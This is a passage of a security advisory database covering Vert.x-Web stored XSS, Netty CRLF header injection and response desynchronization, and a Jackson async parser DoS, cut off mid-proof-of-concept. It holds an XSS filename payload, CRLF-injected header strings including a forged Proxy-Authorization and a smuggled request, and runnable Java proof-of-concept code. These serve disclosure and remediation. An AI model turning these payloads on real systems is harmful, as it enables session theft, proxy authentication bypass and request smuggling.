- Unauthorized actions with admin privileges (user creation, permission changes, settings modifications)
- Watering hole attacks, including malware distribution or malicious script injection to other pages
-
Common Conditions That Make Exploitation Easier
- Uploaded files are served directly under a publicly accessible directory
- Shared/synced directories (e.g., NFS, SMB, WebDAV, or cloud sync) are exposed
- ZIP/TAR archives are extracted directly under the webroot and directory listing is enabled in production environments
Similar CVEs Previously Reported
- CVE‑2024‑32966
- CVE‑2019‑15603
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-web"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.4"
},
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-web"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-11966"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-22T19:38:11Z",
"nvd_published_at": "2025-10-22T15:15:31Z",
"severity": "LOW"
},
"details": "# Description\n\n- In the `StaticHandlerImpl#sendDirectoryListing(...)` method under the `text/html` branch, file and directory names are directly embedded into the `href`, `title`, and link text without proper HTML escaping.\n- As a result, in environments where an attacker can control file names, injecting HTML/JavaScript is possible. Simply accessing the directory listing page will trigger an XSS.\n- Affected Code:\n - File: `vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java`\n - Lines:\n - 709\u2013713: `normalizedDir` is constructed without escaping\n - 714\u2013731: `\u003cli\u003e\u003ca ...\u003e` elements insert file names directly into attributes and body without escaping\n - 744: parent directory name construction\n - 746\u2013751: `{directory}`, `{parent}`, and `{files}` are inserted into the HTML template without escaping\n\n# Reproduction Steps\n\n1. Prerequisites:\n - Directory listing is enabled using `StaticHandler` \n (e.g., `StaticHandler.create(\"public\").setDirectoryListing(true)`)\n - The attacker has the ability to create arbitrary file names under a public directory (e.g., via upload functionality or a shared directory)\n\n2. Create a malicious file name (example for Unix-based OS):\n - Create an empty file in `public/` with one of the following names:\n - `\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt`\n - Or attribute injection: `evil\" onmouseover=\"alert(\u0027XSS\u0027)\".txt`\n - Example:\n ```bash\n mkdir -p public\n printf \u0027test\u0027 \u003e \"public/\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt\"\n ```\n\n3. Start the server (example):\n - Routing: `router.route(\"/public/*\").handler(StaticHandler.create(\"public\").setDirectoryListing(true));`\n - Server: `vertx.createHttpServer().requestHandler(router).listen(8890);`\n\n4. Verification request (raw HTTP):\n ```\n GET /public/ HTTP/1.1\n Host: 127.0.0.1:8890\n Accept: text/html\n Connection: close\n ```\n\n5. Example response excerpt:\n ```html\n \u003cul id=\"files\"\u003e\n \u003cli\u003e\n \u003ca href=\"/public/\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt\"\n title=\"\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt\"\u003e\n \u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt\n \u003c/a\u003e\n \u003c/li\u003e\n ...\n \u003c/ul\u003e\n ```\n\n- When accessing `/public/` in a browser, the unescaped file name is interpreted as HTML, and event handlers such as `onerror` are executed.\n\n# Potential Impact\n\n- **Stored XSS**\n - Arbitrary JavaScript executes in the browser context of users viewing the listing page\n - Possible consequences:\n - Theft of session tokens, JWTs, localStorage contents, or CSRF tokens\n - Unauthorized actions with admin privileges (user creation, permission changes, settings modifications)\n - Watering hole attacks, including malware distribution or malicious script injection to other pages\n\n- **Common Conditions That Make Exploitation Easier**\n - Uploaded files are served directly under a publicly accessible directory\n - Shared/synced directories (e.g., NFS, SMB, WebDAV, or cloud sync) are exposed\n - ZIP/TAR archives are extracted directly under the webroot and directory listing is enabled in production environments\n\n# Similar CVEs Previously Reported\n\n- CVE\u20112024\u201132966 \n- CVE\u20112019\u201115603",
"id": "GHSA-45p5-v273-3qqr",
"modified": "2026-01-21T16:37:06Z",
"published": "2025-10-22T19:38:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vert-x3/vertx-web/security/advisories/GHSA-45p5-v273-3qqr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11966"
},
{
"type": "PACKAGE",
"url": "https://github.com/vert-x3/vertx-web"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/303"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Vert.x-Web vulnerable to Stored Cross-site Scripting in directory listings via file names"
}
GHSA-45Q3-82M4-75JR
Vulnerability from github – Published: 2026-05-07 00:11 – Updated: 2026-05-14 20:40Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions) |
| Component | io.netty.handler.proxy.HttpProxyHandler |
| Vulnerability Type | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |
| Impact | HTTP Header Injection in CONNECT Proxy Requests |
| CVSS 3.1 Score | 7.5 (High) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| Related Advisory | GHSA-84h7-rjj3-6jx4 (Incomplete Fix) |
2. Affected Components
io.netty.handler.proxy.HttpProxyHandler—newInitialMessage()method (line 176) explicitly disables header validation viawithValidation(false)
3. Vulnerability Description
Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method (line 176) creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.
Root Cause
// HttpProxyHandler.java:176-190
protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {
// ...
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false); // <-- VALIDATION EXPLICITLY DISABLED
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, hostHeader);
if (authorization != null) {
req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);
}
if (outboundHeaders != null) {
req.headers().add(outboundHeaders); // <-- USER HEADERS ADDED WITHOUT VALIDATION
}
return req;
}
The outboundHeaders parameter comes from the HttpProxyHandler constructor (lines 80-93, 99-127), which is supplied by application code.
Incomplete Fix of GHSA-84h7-rjj3-6jx4
This vulnerability represents an incomplete fix of the previously acknowledged security advisory GHSA-84h7-rjj3-6jx4.
The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via validateRequestLineTokens() in DefaultHttpRequest and enabling header validation by default through DefaultHttpHeadersFactory. However, HttpProxyHandler explicitly opts out of the fix by calling withValidation(false), creating a gap where:
- The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed
- User-provided
outboundHeadersare added without any CRLF check - The resulting CONNECT request contains unvalidated headers on the wire
This is not a new vulnerability class — it is the same CRLF injection that GHSA-84h7-rjj3-6jx4 was supposed to fix, but HttpProxyHandler was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
- An application uses
HttpProxyHandlerwith user-influencedoutboundHeaders - The application does not perform its own CRLF sanitization on header values
Common affected patterns: - HTTP proxy clients that forward user-specified custom headers - Web scraping frameworks that allow users to set proxy headers - API gateways that pass user headers through a proxy tunnel
5. Attack Scenarios
Scenario 1: Proxy Authentication Bypass
HttpHeaders headers = new DefaultHttpHeaders(false);
headers.set("X-Forwarded-For", userInput); // userInput from attacker
new HttpProxyHandler(proxyAddr, headers);
Attack input: userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="
Wire format:
CONNECT target.com:443 HTTP/1.1
host: target.com:443
X-Forwarded-For: 1.2.3.4
Proxy-Authorization: Basic YWRtaW46YWRtaW4= <-- INJECTED
The injected Proxy-Authorization header may override or supplement the original authentication, potentially granting access to a restricted proxy.
Scenario 2: Request Smuggling via Proxy
Attack input: userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"
Injects a full smuggled request through the proxy tunnel establishment.
6. Proof of Concept
Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;
public class HttpProxyHeaderInjectionPoC {
public static void main(String[] args) {
System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");
// Simulate HttpProxyHandler.newInitialMessage() with validation=false
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false);
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
"target.com:443",
io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, "target.com:443");
// Inject CRLF in header value
String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
req.headers().set("X-Forwarded-For", malicious);
// Encode to wire format
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
ch.writeOutbound(req);
ByteBuf out = ch.readOutbound();
String encoded = out.toString(StandardCharsets.UTF_8);
out.release();
ch.finishAndReleaseAll();
System.out.println("Wire format:");
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r"));
}
System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
System.out.println("VULNERABLE: " +
(encoded.contains("X-Admin: true") ? "YES" : "NO"));
}
}
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty HttpProxyHandler Header Injection PoC ===
[TEST 1] outboundHeaders with CRLF (validation disabled)
----------------------------------------------------------
Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"
Header accepted: YES (validation disabled!)
Wire format:
CONNECT target.com:443 HTTP/1.1\r
host: target.com:443\r
X-Forwarded-For: 1.2.3.4\r
X-Forwarded-For: 127.0.0.1\r <-- INJECTED
X-Admin: true\r <-- INJECTED
\r
Injected X-Admin header in wire: true
VULNERABLE: YES
[TEST 2] validation=true vs validation=false comparison
--------------------------------------------------------
With validation=true:
SAFE: Rejected - IllegalArgumentException
With validation=false:
VULNERABLE: Accepted CRLF in header value!
Stored value contains CRLF: true
7. Remediation Recommendations
Option 1: Remove withValidation(false)
// Change HttpProxyHandler.java line 176 from:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);
// To:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();
Option 2: Validate outboundHeaders Before Adding
if (outboundHeaders != null) {
for (Map.Entry<String, String> entry : outboundHeaders) {
HttpUtil.validateHeaderValue(entry.getValue());
}
req.headers().add(outboundHeaders);
}
8. Resources
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42578"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:11:40Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "LOW"
},
"details": "# Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions) |\n| **Component** | `io.netty.handler.proxy.HttpProxyHandler` |\n| **Vulnerability Type** | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |\n| **Impact** | HTTP Header Injection in CONNECT Proxy Requests |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n| **Related Advisory** | **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |\n\n## 2. Affected Components\n\n- `io.netty.handler.proxy.HttpProxyHandler` \u2014 `newInitialMessage()` method (line 176) explicitly disables header validation via `withValidation(false)`\n\n## 3. Vulnerability Description\n\nNetty\u0027s `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation explicitly disabled**. The `newInitialMessage()` method (line 176) creates headers using `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds user-provided `outboundHeaders` (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.\n\n### Root Cause\n\n```java\n// HttpProxyHandler.java:176-190\nprotected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {\n // ...\n HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n .withValidation(false); // \u003c-- VALIDATION EXPLICITLY DISABLED\n\n FullHttpRequest req = new DefaultFullHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n req.headers().set(HttpHeaderNames.HOST, hostHeader);\n\n if (authorization != null) {\n req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);\n }\n\n if (outboundHeaders != null) {\n req.headers().add(outboundHeaders); // \u003c-- USER HEADERS ADDED WITHOUT VALIDATION\n }\n\n return req;\n}\n```\n\nThe `outboundHeaders` parameter comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is supplied by application code.\n\n### Incomplete Fix of GHSA-84h7-rjj3-6jx4\n\n**This vulnerability represents an incomplete fix of the previously acknowledged security advisory [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**\n\nThe GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via `validateRequestLineTokens()` in `DefaultHttpRequest` and enabling header validation by default through `DefaultHttpHeadersFactory`. However, `HttpProxyHandler` **explicitly opts out** of the fix by calling `withValidation(false)`, creating a gap where:\n\n1. The GHSA-84h7-rjj3-6jx4 fix\u0027s header validation is bypassed\n2. User-provided `outboundHeaders` are added without any CRLF check\n3. The resulting CONNECT request contains unvalidated headers on the wire\n\nThis is not a new vulnerability class \u2014 it is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, but `HttpProxyHandler` was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses `HttpProxyHandler` with user-influenced `outboundHeaders`\n2. The application does not perform its own CRLF sanitization on header values\n\n**Common affected patterns**:\n- HTTP proxy clients that forward user-specified custom headers\n- Web scraping frameworks that allow users to set proxy headers\n- API gateways that pass user headers through a proxy tunnel\n\n## 5. Attack Scenarios\n\n### Scenario 1: Proxy Authentication Bypass\n\n```java\nHttpHeaders headers = new DefaultHttpHeaders(false);\nheaders.set(\"X-Forwarded-For\", userInput); // userInput from attacker\nnew HttpProxyHandler(proxyAddr, headers);\n```\n\n**Attack input**: `userInput = \"1.2.3.4\\r\\nProxy-Authorization: Basic YWRtaW46YWRtaW4=\"`\n\n**Wire format**:\n```\nCONNECT target.com:443 HTTP/1.1\nhost: target.com:443\nX-Forwarded-For: 1.2.3.4\nProxy-Authorization: Basic YWRtaW46YWRtaW4= \u003c-- INJECTED\n```\n\nThe injected `Proxy-Authorization` header may override or supplement the original authentication, potentially granting access to a restricted proxy.\n\n### Scenario 2: Request Smuggling via Proxy\n\n**Attack input**: `userInput = \"value\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nGET /internal HTTP/1.1\\r\\nHost: internal-service\"`\n\nInjects a full smuggled request through the proxy tunnel establishment.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HttpProxyHeaderInjectionPoC {\n public static void main(String[] args) {\n System.out.println(\"=== Netty HttpProxyHandler Header Injection PoC ===\\n\");\n\n // Simulate HttpProxyHandler.newInitialMessage() with validation=false\n HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n .withValidation(false);\n\n FullHttpRequest req = new DefaultFullHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n \"target.com:443\",\n io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n req.headers().set(HttpHeaderNames.HOST, \"target.com:443\");\n\n // Inject CRLF in header value\n String malicious = \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\";\n req.headers().set(\"X-Forwarded-For\", malicious);\n\n // Encode to wire format\n EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());\n ch.writeOutbound(req);\n ByteBuf out = ch.readOutbound();\n String encoded = out.toString(StandardCharsets.UTF_8);\n out.release();\n ch.finishAndReleaseAll();\n\n System.out.println(\"Wire format:\");\n for (String line : encoded.split(\"\\n\", -1)) {\n System.out.println(\" \" + line.replace(\"\\r\", \"\\\\r\"));\n }\n System.out.println(\"Injected X-Admin: \" + encoded.contains(\"X-Admin: true\"));\n System.out.println(\"VULNERABLE: \" +\n (encoded.contains(\"X-Admin: true\") ? \"YES\" : \"NO\"));\n }\n}\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HttpProxyHandler Header Injection PoC ===\n\n[TEST 1] outboundHeaders with CRLF (validation disabled)\n----------------------------------------------------------\n Injected header value: \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\"\n Header accepted: YES (validation disabled!)\n Wire format:\n CONNECT target.com:443 HTTP/1.1\\r\n host: target.com:443\\r\n X-Forwarded-For: 1.2.3.4\\r\n X-Forwarded-For: 127.0.0.1\\r \u003c-- INJECTED\n X-Admin: true\\r \u003c-- INJECTED\n \\r\n\n Injected X-Admin header in wire: true\n VULNERABLE: YES\n\n[TEST 2] validation=true vs validation=false comparison\n--------------------------------------------------------\n With validation=true:\n SAFE: Rejected - IllegalArgumentException\n With validation=false:\n VULNERABLE: Accepted CRLF in header value!\n Stored value contains CRLF: true\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Remove withValidation(false)\n\n```java\n// Change HttpProxyHandler.java line 176 from:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);\n// To:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();\n```\n\n### Option 2: Validate outboundHeaders Before Adding\n\n```java\nif (outboundHeaders != null) {\n for (Map.Entry\u003cString, String\u003e entry : outboundHeaders) {\n HttpUtil.validateHeaderValue(entry.getValue());\n }\n req.headers().add(outboundHeaders);\n}\n```\n\n## 8. Resources\n\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (**incomplete fix \u2014 this report**)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)",
"id": "GHSA-45q3-82m4-75jr",
"modified": "2026-05-14T20:40:54Z",
"published": "2026-05-07T00:11:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-84h7-rjj3-6jx4"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)"
}
GHSA-57RV-R2G8-2CJ3
Vulnerability from github – Published: 2026-05-07 00:21 – Updated: 2026-05-14 20:41Summary
If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another's.
Details
HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.
Prerequisites - HTTP/1.1 pipelining - HEAD in the pipeline - The server sends 1xx
PoC
@Test
public void test() {
EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());
assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
ByteBuf request = channel.readOutbound();
request.release();
assertNull(channel.readOutbound());
assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
request = channel.readOutbound();
request.release();
assertNull(channel.readOutbound());
String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
"HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
"HTTP/1.1 200 OK\r\n\r\n";
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));
// Response 1
HttpResponse response = channel.readInbound();
assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
LastHttpContent last = channel.readInbound();
assertEquals(0, last.content().readableBytes());
last.release();
// Response 2
response = channel.readInbound();
assertEquals(HttpResponseStatus.OK, response.status());
last = channel.readInbound();
assertEquals(0, last.content().readableBytes());
last.release();
// Response 3
FullHttpResponse response1 = channel.readInbound();
assertTrue(response1.decoderResult().isFailure());
assertEquals(0, response1.content().readableBytes());
response1.release();
assertFalse(channel.finish());
}
Impact
Integrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42584"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:21:48Z",
"nvd_published_at": "2026-05-13T19:17:24Z",
"severity": "HIGH"
},
"details": "### Summary\n If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another\u0027s.\n\n### Details\nHttpClientCodec pairs each inbound response with an outbound request by `queue.poll()` once per response, including for `1xx`. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message\u2019s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.\n\nPrerequisites \n- HTTP/1.1 pipelining\n- HEAD in the pipeline\n- The server sends 1xx\n\n### PoC\n\n```java\n @Test\n public void test() {\n EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());\n\n assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, \"/1\")));\n ByteBuf request = channel.readOutbound();\n request.release();\n assertNull(channel.readOutbound());\n\n assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, \"/2\")));\n request = channel.readOutbound();\n request.release();\n assertNull(channel.readOutbound());\n\n String responseStr = \"HTTP/1.1 103 Early Hints\\r\\n\\r\\n\" +\n \"HTTP/1.1 200 OK\\r\\nContent-Length: 5\\r\\n\\r\\nhello\" +\n \"HTTP/1.1 200 OK\\r\\n\\r\\n\";\n assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));\n\n // Response 1\n HttpResponse response = channel.readInbound();\n assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());\n LastHttpContent last = channel.readInbound();\n assertEquals(0, last.content().readableBytes());\n last.release();\n\n // Response 2\n response = channel.readInbound();\n assertEquals(HttpResponseStatus.OK, response.status());\n last = channel.readInbound();\n assertEquals(0, last.content().readableBytes());\n last.release();\n\n // Response 3\n FullHttpResponse response1 = channel.readInbound();\n assertTrue(response1.decoderResult().isFailure());\n assertEquals(0, response1.content().readableBytes());\n response1.release();\n\n assertFalse(channel.finish());\n }\n```\n\n### Impact\nIntegrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.",
"id": "GHSA-57rv-r2g8-2cj3",
"modified": "2026-05-14T20:41:17Z",
"published": "2026-05-07T00:21:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Netty has HttpClientCodec response desynchronization"
}
GHSA-72HV-8253-57QQ
Vulnerability from github – Published: 2026-02-28 02:01 – Updated: 2026-04-07 16:30Summary
The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
Details
The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g.,
_finishNumberIntegralPart) accumulate digits into theTextBufferwithout any length checks. - After parsing, they call
_valueComplete(), which finalizes the token but does not callresetInt()orresetFloat(). - The
resetInt()/resetFloat()methods inParserBaseare where thevalidateIntegerLength()andvalidateFPLength()checks are performed. - Because this validation step is skipped, the
maxNumberLengthconstraint is never enforced in the async code path.
PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
